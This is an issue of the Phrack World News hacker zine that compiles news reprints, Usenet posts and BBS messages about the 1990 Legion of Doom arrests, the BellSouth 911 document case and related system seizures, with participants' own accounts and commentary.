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Many controversies have been made of the article printed in USA Today after Operation Sun-Devil took it's toll.

Phrack inc. tried to contact the author, and with no luck she wasn't accepting phone calls. Please remember, this is only a USA Today article -- C'mon, get real USAT.

---

byline 'Debbie Howlett, USA Today' reads:

A network of computer hackers operating in 14 cities -- which bilked phone companies of \$50 million -- has been unplugged, police say.

"We're not talking about somebody who played Space Invaders too many times," says Tim Holtzen, spokesman for the U.S. attorney in Phoenix.

The hackers -- the largest such ring discovered in the USA --broke into phone company and bank computer systems to obtain account numbers and run up an unknown total in debts, police say.

"The main thing is the life-threatening information these computer hackers were trying to get into," says Richard Adams of the Secret Service. "It goes beyond being monetary to totally mischievous."

The ring was uncovered 18 months ago, when members tried and failed to



infiltrate computers at Barrows Neurological Institute in Phoenix. They later tried to block incoming calls to the 911 emergency service in Chicago. The motivation? "The primary reason is as kind of a malicious hobby." says Gary Chapman of Computer Professionals for Social Responsibility. "People are interested in testing their skills against security measures." But, Adams says, "I hate to minimize it by saying it was just for kicks." Police seized 40 computers and 23,000 disks during searches Tuesday in 14 cities, officials said Wednesday. Five men, between the ages of 19 and 24, have been arrested. What's been uncovered so far, says Holtzen, may be "just the tip of the iceberg."

[END OF STORY]

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==Phrack Inc.==

Volume Three, Issue Thirty-one, Phile #10 of 10  
PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN  
PWN Phrack World News PWN  
PWN Issue XXXI, Part Three PWN  
PWN Compiled by Phreak\_Accident PWN  
PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN

Comp.dcom.telecom

-----  
The following is excerpts from comp.dcom.telecom regard the now "Infamous" Legion Of Doom busts. I know most of you have seen some of these somewhere-sometime, but I thought I would try to get these out for those unfortunate souls that don't have Usenet access.

I know there have been many controversies over the following material and the busts as a whole -- Henceforth, Phrack Inc. will not comment on any of such busts. Mainly because we don't want to jeopardize any current investigations concerning LOD and others. Leave it alone. It's old news. Let this sum it up for you guys and then forget about it.

-----  
Newsgroups: comp.dcom.telecom  
Subject: CBS News Special Report - "The Busting of The Mentor"  
Message-ID: <4747@accuvax.nwu.edu>  
Date: 5 Mar 90 06:11:49 GMT  
Sender: news@accuvax.nwu.edu  
Organization: Capital Area Central Texas Unix Society, Austin, TX  
Lines: 37

Approved: Telecom@eecs.nwu.edu  
X-Submissions-To: telecom@eecs.nwu.edu  
X-Administrivia-To: telecom-request@eecs.nwu.edu  
X-Telecom-Digest: Volume 10, Issue 145, Message 6 of 6  
...I've just gotten a new update on the Mentor's recent apprehension by the Feds. Thought you might like to hear something as close to as direct from the Mentor as possible under the circumstances.

From: Daneel Olivaw #96 @5283  
Date: Sun Mar 04 19:55:28 1990

I'll have to play the Mentor for now (with permission granted).  
If you haven't heard the rumors, here is the truth.  
The Mentor was awakened at 6:30am on Thursday (3/1/90) with the gun of a Secret Service agent pointed at his head. The SS proceeded to search and seize for the next 4 1/2 hours. Things taken include an AT with 80mb HD, HP LaserJet II, various documents, and other thing. They then proceeded to raid his office at work, and sieze the computer and laser printer there. Lost in the shuffle was a complete novel (being written and due in 2 weeks), and various other things.  
Across town: Those of you who know Erik Bloodaxe, he was also awakened, and his house searched.  
Neither have been charged with anything, but they expect to at least be called as witnesses at the case of the Phrack Boys (Knight Lightning and Tarren King) in Chicago April 15.  
Apparently, they did a shoddy job, as they tagged a book that Mentor had borrowed from me (Quartermen's "The Matrix"), and then forgot to take it, oh well....  
It ain't lookin so lovely. Also the UT computer systes are under \*VERY\* close watch, as they were/are being hacked on by hackers around the world, including some in Australia, and England.

OM

From: cosell@bbn.com (Bernie Cosell)  
Newsgroups: comp.dcom.telecom  
Subject: Keeping Copies of Illegal Things (was Re: Jolnet, Again)  
Message-ID: <4725@accuvax.nwu.edu>  
Date: 4 Mar 90 04:36:50 GMT  
Sender: news@accuvax.nwu.edu  
Organization: TELECOM Digest  
Lines: 52  
Approved: Telecom@eecs.nwu.edu  
X-Submissions-To: telecom@eecs.nwu.edu

X-Administrivia-To: telecom-request@eecs.nwu.edu  
X-Telecom-Digest: Volume 10, Issue 143, Message 3 of 8  
}TELECOM Digest Sat, 3 Mar 90 20:45:00 CST Special: Jolnet, Again  
This isn't misc.legal, and this isn't the time to be excessively picky  
and critical, but:  
}Here is how he told the tale of the '911 software':  
}The software showed up on his system one day, almost two years ago. It  
}came to him from netsys, where Len Rose was the sysadmin. According to  
}Andrews, when he saw this file, and realized what it was, he knew the  
}thing to do was to 'get it to the proper authorities as soon as  
}possible',...  
}ME> "After you passed it along to Boykin, did you then destroy the  
}file and get it off your site?"  
}RA> "Well, no... I kept a copy also."  
It strikes me that this is a KEY faux pas, regardless of good  
intentions or not.  
}But then, said Andrews, a funny thing happened several months later.  
}The folks at AT&T, instead of being grateful for the return of their  
}software came back to Andrews to (in his words) 'ask for it again.'  
}Somehow, they either never got it the first time; got it but suspected  
}there were still copies of it out; or were just plain confused.  
Just so, and if RA \*supplied\* another copy, I suspect they'd interpret  
that as pretty convincing evidence that it WAS further distributed,  
and with RA's knowledge. I know that they didn't actually contact him  
and ask/tell him to expunge all copies of the stuff, but his actions  
clearly demonstrated his knowledge of just what it was he was messing  
with, and I think they could easily show that he incurred an  
obligation to act prudently with it, or else [just guessing now] he  
could be liable to being an accessory after the fact.  
}So he was contacted by the feds about a year ago, and it was at that  
}point he decided it was in his best interest to cooperate with any  
}investigation going on.  
Perhaps his sudden cooperation was less out of pangs of conscience  
that it might have appeared... [not to besmirch his motives here,  
only to point out that a call from the FBI pointing out that while you  
may not have really DONE anything, your actions could end up landing  
you in court with some serious potential badness going down (and none  
of this untested cheesiness about the technicalities of bbs's and  
such... nice mainstream legal liability), could be pretty persuasive  
at converting a concerned, but out-of-the-loop, citizen into an active  
helper].

/Bernie\

From: dattier@chinet.chi.il.us (David Tamkin)  
Newsgroups: comp.dcom.telecom  
Subject: Seizures Spreading  
Message-ID: <4724@accuvax.nwu.edu>  
Date: 4 Mar 90 05:55:20 GMT  
Sender: news@accuvax.nwu.edu  
Organization: TELECOM Digest  
Lines: 15

Approved: Telecom@eecs.nwu.edu  
X-Submissions-To: telecom@eecs.nwu.edu  
X-Administrivia-To: telecom-request@eecs.nwu.edu  
X-Telecom-Digest: Volume 10, Issue 143, Message 2 of 8  
News is that Illuminati BBS, a system run by a company named Steve  
Jackson Games somewhere in Texas, was also shut down and its equipment  
seized by the federal government because two suspected Legion of Doom  
members were among its users.

[Moderator's Note: And I suspect the raids will continue during the  
next week or two. I wonder which sites will be next? Each place they  
raid, the local crackers point their fingers at each other like  
naughty children, and to make themselves seem like the good guys they  
say, "Have you talked to so-and-so yet?". Let's see now: netsys,  
jolnet, attctc, illuminati, (your name here?)... Apparently even  
getting rid of incriminating evidence won't work any longer, if  
someone upstream of you tattled. PT]

From: mosley@peyote.cactus.org (Bob Mosley III)  
Newsgroups: comp.dcom.telecom

Subject: Austin, TX BBS Shut Down From Joinet Bust Fallout

Message-ID: <4723@accuvax.nwu.edu>

Date: 4 Mar 90 17:22:26 GMT

Sender: news@accuvax.nwu.edu

Organization: Capital Area Central Texas Unix Society, Austin, TX

Lines: 28

Approved: Telecom@eecs.nwu.edu

X-Submissions-To: telecom@eecs.nwu.edu

X-Administrivia-To: telecom-request@eecs.nwu.edu

X-Telecom-Digest: Volume 10, Issue 143, Message 1 of 8

This hit most BBS's in the Austin area on Thursday. It's believed the bust came down Wednesday morning. In a nutshell, here's what happened:

Wednesday morning, Feb. 28, the offices of Steve Jackson Games, inc., were raided by FBI and Secret Service officials. The establishment was shit down, and all computer systems, including the Illuminati BBS, were confiscated.

At that time, a 'retired' member of the LoD, who was identified as 'The Mentor' was arrested. The charges reportedly are related to the recent 911 bust that has shut down joinet and attatc (or whatever Killerused to be called). His home system was confiscated, complete with an entire collection of "Phrack" issues and related paraphernalia. As of this writing, the Mentor is reportedly out on bail, sans system and network connection. The Illuminati BBS is still down, although SJ Games is back in operation, and no charges have been filed against any of the employees other than The Mentor. The systems owned by SJ Games have not been returned as of this writing.

Finally, rumors were trickling in early this morning (Saturday, 3/4) that two BBS's in Dallas, three in Houston, and one in San Antonio were busted by the same authorities in relation to the same case.

[in light of the Mentor's posted defense of the LoD, I kinda thought you'd like to see this one! - OM]

From: telecom@eecs.nwu.edu (TELECOM Moderator)

Newsgroups: comp.dcom.telecom

Subject: Jolnet, Again

Message-ID: <4701@accuvax.nwu.edu>

Date: 4 Mar 90 02:45:00 GMT

Sender: news@accuvax.nwu.edu

Organization: TELECOM Digest

Lines: 350

Approved: Telecom@eecs.nwu.edu

X-Submissions-To: telecom@eecs.nwu.edu

X-Administrivia-To: telecom-request@eecs.nwu.edu

X-Telecom-Digest: Special: Jolnet, Again

TELECOM Digest Sat, 3 Mar 90 20:45:00 CST Special: Jolnet, Again

Today's Topics: Moderator: Patrick Townson

Re: AT&T Sourcecode: Poison! (Chip Rosenthal)

Jolnet Seizure (Mike Riddle)

Article Regarding JOLNET/e911/LoD/Phrack (Ben Rooney)

A Conversation With Rich Andrews (TELECOM Moderator)

Killer/attctc Permanently Down (Charlie Boykin)

---

From: Chip Rosenthal <chip@chinacat.lonestar.org>

Subject: Re: AT&T Sourcecode: Poison!

Date: 3 Mar 90 00:00:00 GMT

Organization: Unicom Systems Development, Austin (yay!)

[Moderator's Note: Original date of 2/25 changed to prevent premature expiration. PT]

You've got a lot of nerve, Patrick.

telecom@eecs.nwu.edu (TELECOM Moderator) writes:

>We're told by a deep-throat type that AT&T is on the war path about

>their software [...] Like jolnet, netsys went down abruptly, with

>\*everything\* confiscated [...] Now comes news that attcdc [sic], formerly

>known as killer went off line in a hurry.....

Yessir, after all your complaints about that about anonymous Legion of Doom message, this is a really crummy thing to post. Based upon unattributed conversations, you imply that Len Rose and Charlie Boykin were involved in wrongdoing which lead to the shutdown of their

systems.

I don't know Len personally, but have had uucp connections with him in the past. Charlie, on the other hand, I do know personally. He is very well regarded in the Dallas/Fort Worth area, and was voted "1989 DFW Administrator of the Year" by the DFW lunch-bunch...errr....DFW Association of Unix System Administrators.

You have cast some crummy aspersions towards these guys. Since I know them, I will wait for the facts to come in. Others who don't know them could very well jump to conclusions on the basis of this posting.

Was this message really called for?

Chip Rosenthal		Yes, you're a happy man and you're
chip@chinacat.Lonestar.ORG		a lucky man, but are you a smart
Unicom Systems Development, 512-482-8260		man? -David Bromberg

-----  
Date: Wed, 28 Feb 90 21:38:39 EST

From: Mike Riddle <Mike.Riddle@p6.f666.n5010.z1.fidonet.org>

Subject: Jolnet Seizure

Reply-to: Mike.Riddle@p6.f666.n285.z1.fidonet.org

Organization: DRBBS Technical BBS, Omaha, Ne. 402-896-3537

Has anyone tried a novel legal approach to the case of equipment seizure as "evidence"? As I remember the Electronic Communications Privacy Act, it contains specific procedures for authorities to obtain copies/listings of data on a system (which system may have been used for illegal purposes, but whose operator is not at the moment charged). From this I think a creative attorney could construct an argument that the national policy was not to seize equipment, merely to obtain all the information contained therein. After all, it's the data that caused any harm.

Also, the Federal Rules of Evidence, and most state rules, provide that computer generated copies are "originals" for evidentiary purposes.

I hope that someone close enough to the scene can keep us informed about what is happening on this one.

{standard disclaimer goes here--don't pay any attention to me!}

--- Ybbat (DRBBS) 8.9 v. 3.07 r.1

\* Origin: [1:285/666.6@fidonet] The Inns of Court, Papillion, NE (285/666.6)

--- Through FidoNet gateway node 1:16/390

Mike.Riddle@p6.f666.n5010.z1.fidonet.org  
-----

From: brooney@sirius.uvic.ca

Date: 3 Mar 90 2:36 -0800

Subject: Article Regarding JOLNET/e911/LoD/Phrack

The following is an article I received five days ago which contains, to my knowledge, information as yet unpublished in comp.dcom.telecom regarding the ongoing JOLNET/e911/LoD discussion. It was printed in a weekly magazine with a publishing date of Feb. 27 but other than that I have no exact idea of when the events mentioned herein took place.

- Ben Rooney

MISSOURI STUDENT PLEADS INNOCENT TO 911 CHARGES

[Knight Lightning], a 19-year-old University of Missouri student, has pleaded not guilty to federal allegations that he invaded the 911 emergency phone network for 9 states.

As reported earlier, he was indicted this month along with [The Prophet], 20, of Decatur, Ga. Both are charged with interstate transportation of stolen property, wire fraud, and violations of the federal Computer Fraud and Abuse Act of 1986.

Prosecutors contend the two used computers to enter the 911 system of Atlanta's Bell South, then copied the program that controls and maintains the system. The stolen material later allegedly was published on a computer bulletin board system operating in the Chicago suburb of Lockport. Authorities contend Neidorf edited the data for an electronic publication known as "Phrack."

According to Associated Press writer Sarah Nordgren, in a recent hearing on the case Assistant U.S. Attorney William Cook was granted a motion to prevent the 911 program from becoming part of the public record during the trial. U.S. District Judge Nicholas Bua set April 16 for a trial.

The 911 system in question controls emergency calls to police, fire,

ambulance and emergency services in cities in Alabama, Mississippi, Georgia, Tennessee, Kentucky, Louisiana, North Carolina, South Carolina and Florida.

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Article from "A Networker's Journal" by Charles Bowen.

Info-Mat Magazine (Vol. 6, No. 2)

[Moderator's Note: {Info-Mat Magazine}, by the way, is the excellent electronic journal distributed on many BBS machines throughout the United States who are fortunate enough to be accepted as part of the magazine's distribution network. I personally wish it was distributed on Usenet as well: it is well written and very informative. PT]

-----  
Date: Sat, 3 Mar 90 19:34:54 CST

From: TELECOM Moderator <telecom@eecs.nwu.edu>

Subject: A Conversation With Rich Andrews

After the first articles appeared here relating to the seizure of Jolnet, and the indictment of some people for their part in the theft of '911 software', I got various messages from other folks in response. Some were published, while others were just personal correspondence to me. One from Chip Rosenthal was held over, and is included in this special issue today.

One writer, whose comments were attributed to 'Deep Throat' spent some time on two occasions on the phone, in a conference call between himself, David Tamkin and myself.

What was lacking in the several messages which appeared over the past week were comments from Rich Andrews, system administrator of Jolnet. I got one note from someone in Canada who said Andrews wanted to speak with me, and giving a phone number where I could call Andrews at his place of employment.

I put in a call there, with David Tamkin on the other line and had a long discussion with Andrews, who was aware of David being on the line with me. I asked Andrews if he had any sort of net access available to him at all -- even a terminal and modem, plus an account on some site which could forward his mail to telecom. You see, I thought, and still think it is extremely important to include Rich Andrews in any discussion here.

He assured me he did have an account on a Chicago area machine, and that a reply would be forthcoming within hours. I had a second conversation with him the next morning, but without David on the line. He again told me he would have a response to the several articles written in the Digest ready and in the email 'very soon'. This was on Wednesday morning, and we estimated his message would be here sometime later in the day -- certainly by midnight or so, when I am typically working up an issue of the Digest.

Midnight came and went with no message. None showed up Thursday or Friday. I deliberately withheld saying anything further in the hopes his reply would be here to include at the same time. I guess at this point we have to go on without him.

When David Tamkin and I talked to him the first time, on Tuesday evening this past week, the first thing Andrews said to us, after the usual opening greetings and chitchat was,

"I've been cooperating with them for over a year now. I assume you know that."

We asked him to define 'them'. His response was that 'them' was the United States Secret Service, and the Federal Bureau of Investigation. He said this without us even asking him if he was doing so.

We asked him to tell us about the raid on his home early in February. He said the agents showed up that Saturday afternoon with a warrant, and took everything away as 'evidence' to be used in a criminal prosecution.

ME> "If you have been working and cooperating with them for this long, why did they take your stuff?"

RA> "They wanted to be sure it would be safe, and that nothing would be destroyed."

ME> "But if you wanted to simply keep files safe, you could have taken Jolnet off line for a few weeks/months by unplugging the modems from the phone jacks, no? Then, plugged in a line when you wanted to call or have a trusted person call you."

RA> "They thought it was better to take it all with them. It was mostly for appearance sake. They are not charging me with anything."

ME> "Seems like a funny way to treat a cooperative citizen, at least one who is not in some deep mess himself."

He admitted to us that several crackers had accounts on Jolnet, with his knowledge and consent, and that it was all part of the investigation going on ... the investigation he was cooperating in.

Here is how he told the tale of the '911 software':

The software showed up on his system one day, almost two years ago. It came to him from netsys, where Len Rose was the sysadmin. According to Andrews, when he saw this file, and realized what it was, he knew the thing to do was to 'get it to the proper authorities as soon as possible', so he chose to do that by transferring it to the machine then known as killer, a/k/a attctc, where Charlie Boykin was the sysadmin.

Andrews said he sent it to Boykin with a request that Boykin pass it along to the proper people at AT&T.

ME> "After you passed it along to Boykin, did you then destroy the file and get it off your site?"

RA> "Well, no... I kept a copy also."

ME> "Did Charlie Boykin pass it along to AT&T as you had requested?"

RA> "I assume he did."

But then, said Andrews, a funny thing happened several months later. The folks at AT&T, instead of being grateful for the return of their software came back to Andrews to (in his words) 'ask for it again.' Somehow, they either never got it the first time; got it but suspected there were still copies of it out; or were just plain confused. So he was contacted by the feds about a year ago, and it was at that point he decided it was in his best interest to cooperate with any investigation going on.

Andrews pointed out that the '911 software' was really just ".... a small part of what this is all about..." He said there was other proprietary information going around that should not be circulating. He said also the feds were particularly concerned by the large number of break-ins on computers which had occurred in the past year or so. He said there have been literally "....thousands of attempts to break into sites in the past year....", and part of his cooperation with the authorities at this time dealt with information on that part of it.

We asked him about killer/attctc:

ME> "You knew of course that killer went off line very abruptly about a week ago. What caused that? It happened a week or so after the feds raided you that Saturday."

RA> "Well the official reason given by AT&T was lack of funds, but you know how that goes...."

Now you'd think, wouldn't you, that if it was a funding problem -- if you can imagine AT&T not having the loose change in its corporate pocket it took to provide electrical power and phone lines to attctc (Charlie got no salary for running it) -- that at least an orderly transition would have taken place; i.e. an announcement to the net; an opportunity to distribute new maps for mail and news distribution, etc; and some forthcoming shut down date -- let's say March 1, or April 1, or the end of the fiscal year, or something....

But oh, no... crash boom, one day it is up, the next day it is gone.

ME> "What do you know about the temporary suspension of killer some time ago? What was that all about?"

RA> "It was a security thing. AT&T Security was investigating Charlie and some of the users then."

Andrews referred to the previous shutdown of killer as 'a real blunder by AT&T', but it is unclear to me why he feels that way.

We concluded our conversation by Andrews noting that "there is a lot happening out there right now."

He said the [Phrack] magazine distribution, via netsys, attctc and jolnet was under close review. "One way to get them (crackers) is by shutting down the sites they use to distribute stuff..."

And now, dear reader, you know everything I know on the subject. Well, almost everything, anyway....

From other sources we know that Len Rose of netsys was in deep trouble with the law \*before\* this latest scandal. How deep? Like he

was ready to leave the country and go to the other side of the world maybe? Like he was in his car driving on the expressway when they pulled him over, stopped the car and placed him under arrest? Deep enough? This latest thing simply compounded his legal problems.  
Patrick Townson

-----  
Date: Fri Mar 2 06:59:23 1990  
From: Charlie Boykin <cfb@sulaco.sigma.com>  
Subject: Killer/attctc Is Permanently Down  
Hello,

Regarding a couple of things as well as a message from Bill Huttig.  
The system WAS shut down a couple of years ago - for three weeks - as part of a security inquiry. It has been in continuous operation since. On July 4, 1989, it was moved to a Customer Demonstration location at the Dallas Infomart and the node name changed to attctc (for AT&T Customer Technology Center). The system was closed down on February 20, 1990 after 5 years of operation. There are no charges pending and the "management" of the system have been ostensibly cleared of any illegal activities.

As of now, there are no intentions of returning the system to service. There are hopeful plans and proposals that could conceivably result in the system being placed back in service in a different environment and under different management.

Respectfully,  
Charles F. Boykin  
Formerly sysop\@attctc (killer)

-----  
End of TELECOM Digest Special: Jolnet, Again  
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[reprinted without permission from the Feb. 12th, 1990 issue of Telephony]  
ALLEGED HACKERS CHARGED WITH THEFT OF 911 DATA  
Dawn Bushaus, Assistant Editor

Four alleged computer hackers were indicted last week on charges that they schemed to steal and publish proprietary BellSouth Corp. emergency data. The alleged activity could have produced disruptions in 911 networks nationwide, according to federal officials.

The case could raise new concerns about the security of local exchange carriers' internal computer networks, which house data records on customers, equipment and operations.

"Security has always been a concern for the telephone companies," said Peter Bernstein, an analyst with Probe Research. "If you can crack the 911 system, what does that say about the operational support system or the billing system?"

A federal grand jury in Chicago handed down two indictments charging [The Prophet], 20, of Decatur, Ga., and [Knight Lightning], 19, of Chesterfield, Mo., with wire fraud, violations of the 1986 Computer Fraud Act and interstate transportation of stolen property.

Facing similar criminal charges in Atlanta are [The Urvile], 22, and [The Leftist], 23.

The four, alleged to be part of a closely knit group of hackers calling themselves the Legion of Doom, reportedly participated in a scheme to steal the BellSouth 911 data, valued at \$80,000, and publish it in a hacker magazine known as "Phrack."

The Legion of Doom reportedly is known for entering telephone companies' central office switches to reroute calls, stealing computer data and giving information about accessing computers to fellow hackers.

According to the Chicago indictment, XXXXX, also known as "The Prophet," stole a copy of the BellSouth 911 program by using a computer outside the company to tap into the BellSouth computer. Riggs then allegedly transferred the data to a computer bulletin board in Lockport, Ill.

XXXXXXX, also known as "Knight Lightning," reportedly downloaded the information into his computer at the University of Missouri, Columbia, where he edited it for publication in the hacker magazine, the indictment said.

The indictment also charges that the hackers disclosed the stolen information about the operation of the enhanced 911 system to other hackers so that they could illegally access the system and potentially disrupt or halt other systems across the country.



The indictments followed a year-long investigation, according to U.S. Attorney Ira Raphaelson. If convicted, the alleged hackers face 31 to 32 years in prison and \$122,000 in fines.

A BellSouth spokesman said the company's security system discovered the intrusion, which occurred about a year ago, and the company then notified federal authorities.

Hacker invasion in the BellSouth network is very rare, the spokesman said, adding that the company favors "stringent laws on the matter."

The indictment solicited concern about the vulnerability of the public network to computer hacking.

-----  
From: MM02885@swtexas.bitnet  
Newsgroups: comp.dcom.telecom  
Subject: Re: Hacker Group Accused of Scheme Against BellSouth  
Message-ID: <4153@accuvax.nwu.edu>  
Date: 20 Feb 90 11:16:00 GMT  
Sender: news@accuvax.nwu.edu  
Organization: TELECOM Digest  
Lines: 95  
Approved: Telecom@eecs.nwu.edu  
X-Submissions-To: telecom@eecs.nwu.edu  
X-Administrivia-To: telecom-request@eecs.nwu.edu  
X-Telecom-Digest: Volume 10, Issue 118, message 3 of 6

<<< SYS\$ANCILLARY:[NOTES\$LIBRARY]GENERAL.NOTE;1 >>>

-< General Discussion >-

=====

Note 155.6	the MENTOR of the tree tops	6 of 6
SWT::RR02026	"Ray Renteria [ F L A T L I N E ] "	89 lines 20-FEB-1990 00:18
	-< Life, The Universe, & LOD >-	

To set the record straight, a member of LOD who is a student in Austin and who has had his computer account at UT subpoenaed by the DA out of Chicago because of dealings with the above happenings:

My name is Chris, but to the computer world, I am Erik Bloodaxe. I have been a member of the group known as Legion of Doom since its creation, and admittedly I have not been the most legitimate computer user around, but when people start hinting at my supposed Communist-backed actions, and say that I am involved in a world-wide conspiracy to destroy the nations computer and/or 911 network, I have to speak up and hope that people will take what I have to say seriously.

Frank, Rob and Adam were all definately into really hairy systems. They had basically total control of a packet-switched network owned by Southern Bell (SBDN)...through this network they had access to every computer Southern Bell owned...this ranging from COSMOS terminals up to LMOS front ends. Southern Bell had not been smart enough to disallow connections from one public pad to another, thus allowing anyone who desired to do so, the ability to connect to, and seize information from anyone else who was using the network...thus they ended up with accounts and passwords to a great deal of systems. This was where the 911 system came into play. I don't know if this system actually controlled the whole Southern Bell 911 network, or if it was just a site where the software was being developed, as I was never on it. In any case, one of the trio ended up pulling files off of it for them to look at. This is usually standard procedure: you get on a system, look around for interesting text, buffer it, and maybe print it out for posterity. No member of LOD has ever (to my knowledge) broken into another system and used any information gained from it for personal gain of any kind...with the exception of maybe a big boost in his reputation around the underground. Rob took the documentation to the system and wrote a file about it. There are actually two files, one is an overview, the other is a glossary. (Ray has the issue of PHRACK that has the files) The information is hardly something anyone could possibly gain anything from except knowledge about how a certain aspect of the telephone company works.

The Legion of Doom used to publish an electronic magazine called the LOD Technical Journal. This publication was kind of abandoned due to laziness on our part. PHRACK was another publication of this sort, sent to several hundred people over the Internet, and distributed

widely on bulletin boards around the US. Rob sent the files to PHRACK for the information to be read. One of PHRACK's editors, Craig, happened to be the one who received the files. If Rob had sent the files to one address higher, Randy would have been the one who would probably be in trouble. In anycase, Craig, although he may have suspected, really had no way to know that the files were proprietary information and were stolen from a Southern Bell computer.

The three Atlanta people were busted after having voice and data taps on their lines for 6 months. The Phrack people were not busted, only questioned, and Craig was indicted later.

What I don't understand is why Rob and Craig are singled out more often than any other people. Both of them were on probation for other incidents and will probably end up in jail due to probation violations now. Frank and Adam still don't know what is going on with their cases, as of the last time I spoke with them.

The whole bust stemmed from another person being raided and rolling over on the biggest names he could think of to lighten his burden. Since that time, Mr. William Cook, the DA in Chicago, has made it his life's goal to rid the world of the scourge of LOD. The three Atlanta busts, two more LOD busts in New York, and now, my Subpoena.

People just can't seem to grasp the fact that a group of 20 year old kids just might know a little more than they do, and rather than make good use of us, they would rather just lock us away and keep on letting things pass by them. I've said this before, you cant stop burglars from robbing you when you leave the doors unlocked and merely bash them in the head with baseball bats when they walk in. You need to lock the door. But when you leave the doors open, but lock up the people who can close them for you another burglar will just walk right in.

If anyone really wants to know anything about what is going on or just wants to offer any opinions about all this directly to me, I'm erikb@walt.cc.utexas.edu

but my account is being monitored so don't ask anything too explicit.

->ME

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Well, as some of you may already know, the people that put out Phrack were busted recently. Up until now, details were scarce, but things are starting to appear in the news.

[reprinted without permission from the Milwaukee Journal Wed. Feb. 7th]

Chicago, Ill. - AP - A computer hacker broke into the 911 emergency telephone network covering nine states in the South and another intruder passed on the access data to other hackers, authorities said.

[The Prophet], 20, of Decatur, GA., and [Knight Lightning], 19, of Chesterfield, MO., were indicted Tuesday by a federal grand jury and accused of computer crimes, said acting US Atty. Ira H. Raphaelson.

He said Riggs was a member of the so-called Legion of Doom hackers group, whose members are involved in numerous illegal activities.

Riggs and two other alleged members also were indicted in Atlanta and charged in other computer break-ins.

The government would not say if any emergency calls were disrupted or whether other damage was done during the tampering.

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Name: The Prophet #104

Date: Tue Feb 06 23:55:15 1990

Imagine that you're deaf, dumb, blind, and paralyzed from the neck down and totally unable to experience or communicate with the outside world. How long could you retain your sanity? How many of you would choose to die instead? How many of you think you could muster the willpower to create your own little mental world to live in for the rest of your life, and how long do you think the hospital would wait before putting you out of your misery?

-The Prophet

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Name: The Mentor #1

Date: Sat Jan 20 02:58:54 1990

Welp, Phrack magazine is dead. Those of you who pay attention to BITNET know that the phrack accounts at U of M have been shut down. The story is as follows...

Government agents (not sure of the dept., probably SS) have apparently been monitoring the e-mail of the Phrack kids (Knight Lightning & Taran King) for some time now. Apparently, a portion of a file sent to them (and subsequently published) contained copyrighted information. This is all they needed. They have now seized the entire Phrack net mailing list (over 500 accounts), plus every piece of information that Randy & Craig have (and they have a \*LOT\*) on real names, addresses and phone numbers.

This is evolving directly out of the busts of three LOD members (Urvile, Leftist & Prophet). The Prophet (who is on probation) is apparently being threatened with a prison term if he doesn't cooperate. We don't know for sure if he cooperated or not, but what would you do in the same position?

The same officials are apparently \*VERY\* interested in our co-sys, Mr. Bloodaxe. His net account is being watched, etc. I'll let him tell the story. board only. I will be adding a secure (and I mean fucking secure) encryption routine into the e-mail in the next 2 weeks - I haven't decided exactly how to implement it, but it'll let two people exchange mail encrypted by a password only know to the two of them. HMMMMM... carry this conversation to the programming board.

Anyway, I do not think I am due to be busted, but then again, I don't do anything but run a board. Still, there is that possibility. I assume that my lines are all tapped until proven otherwise.

There is some question to the wisdom of leaving the board up at all, but I have (have) personally phoned several government investigators and invited them to join us here on the board. If I begin to feel that the board is putting me in any kind of danger, I'll pull it down with no notice - I hope everyone understands.

It looks like it's sweeps-time again for the feds. Let's hope all of us are still around in 6 months to talk about it.

The Mentor

Legion of Doom!

[Phoenix Project has been down for some time now.]

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Newsgroups: comp.dcom.telecom

Subject: The Purpose and Intent of the Legion of Doom

Message-ID: <4248@accuvax.nwu.edu>

From: anytown!legion@cs.utexas.edu (Legion of Doom)

Date: 22 Feb 90 04:42:04 GMT

Sender: news@accuvax.nwu.edu

Organization: Anytown USA

Approved: Telecom@eecs.nwu.edu

X-Submissions-To: telecom@eecs.nwu.edu

X-Administrivia-To: telecom-request@eecs.nwu.edu

X-Telecom-Digest: Volume 10, Issue 121, message 4 of 5

Lines: 51

[Moderator's Note: This anonymous message came in the mail today. PT]

Well, I had to speak up. There has been a lot of frothing (mostly by people who believe everything that they read in the paper) about Legion of Doom. I have been involved in the group since 1987, and dislike seeing irresponsible press concerning our "plot to crash 911" or our "links to organized crime."

LOD was formed to bring together the best minds from the computer underground - not to do any damage or for personal profit, but to share experiences and discuss computing. The group has \*always\* maintained the highest ethical standards of hacker (or "cracker," as you prefer) ethics. On many occasions, we have acted to prevent abuse of systems that were \*dangerous\* to be out - from government systems to Easter Seals systems. I have known the people involved in this 911 case for many years, and there was \*absolutely\* no intent to interfere with or molest the 911 system in any manner. While we have occasionally entered a computer that we weren't supposed to be in, it is grounds for expulsion from the group and social ostracism to do any damage to a system or to attempt to commit fraud for personal profit. The biggest crime that has been committed is that of curiosity. Kim, your 911 system is safe (from us, at least). We have been instrumental in closing many security holes in the past, and had hoped to continue to do so in the future. The list of computer security people who count us as allies is long, but must remain anonymous. If any of them choose to identify themselves, we would appreciate the support.

I am among the people who no longer count themselves as "active" members of the group. I have been "retired" for well over a year. But I continue to talk to active members daily, and support the group through this network feed, which is mail-routed to other LODers, both active and accessible.

Anyone who has any questions is welcome to mail us - you'll find us friendly, although a bit wary. We will also be glad to talk voice with anyone if they wish to arrange a time to call. In spite of all the media garbage, we consider ourselves an ethical, positive force in computing and computer security. We hope others will as well.

The Mentor/Legion of Doom

legion%anytown.uucp@cs.utexas.edu

[Moderator's Note: As an 'ethical, positive force in computing', why can't you sign your name to messages such as the above? Usually I don't even consider anonymous messages for publication in the Digest; but your organization has a perfect right to tell your side of the story, and I am derelict if I don't print it. Real names and addresses go a long way toward closing credibility gaps here. PT]

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There you go. It's over now, forget it and move on. Nothing more to report on the subject that hasn't been printed, typed, spoken, or heard in the last couple of months.